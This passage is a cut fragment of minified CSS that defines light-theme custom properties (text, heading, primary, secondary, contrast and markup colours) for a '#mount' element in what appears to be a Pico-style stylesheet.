Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-c